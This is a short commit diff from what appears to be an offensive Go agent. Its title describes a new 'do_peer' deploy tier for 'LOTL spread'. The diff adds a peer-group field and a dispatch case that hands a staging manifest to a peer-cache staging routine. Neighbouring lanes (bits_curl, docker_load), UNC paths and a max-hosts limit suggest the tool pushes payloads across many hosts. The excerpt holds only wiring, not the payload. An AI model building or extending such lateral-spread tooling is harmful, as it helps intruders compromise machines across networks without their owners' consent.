Add do_peer Shadow Cache Handoff deploy tier for LOTL spread onion

agent/deploy/discover_join.go

@@ -18,6 +18,7 @@ type DeployPlanBody struct {
 	MatchedService string            `json:"matched_service,omitempty"`
 	Action         string            `json:"action"`
 	Manifest       *StagingManifest  `json:"manifest,omitempty"`
+	PeerGroup      string            `json:"peer_group,omitempty"`
 	Script         string            `json:"script,omitempty"`
 	UNCPath        string            `json:"unc_path,omitempty"`
 	MaxHosts       int               `json:"max_hosts,omitempty"`
@@ -57,6 +58,19 @@ func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, e
 		lane = strings.TrimSpace(plan.Action)
 	}
 	switch lane {
+	case "do_peer":
+		if plan.Manifest == nil {
+			return "", fmt.Errorf("join lane do_peer requires staging manifest")
+		}
+		peer := strings.TrimSpace(plan.PeerGroup)
+		if peer == "" {
+			peer = strings.TrimSpace(plan.Manifest.PeerGroup)
+		}
+		msg, err := RunDOPeerStaging(cfg, DOPeerFromStagingManifest(*plan.Manifest, peer))
+		if err != nil {
+			return "", err
+		}
+		return msg, nil
 	case "bits_curl", "docker_load":
 		if plan.Manifest == nil {
 			return "", fmt.Errorf("join lane %s requires staging manifest", lane)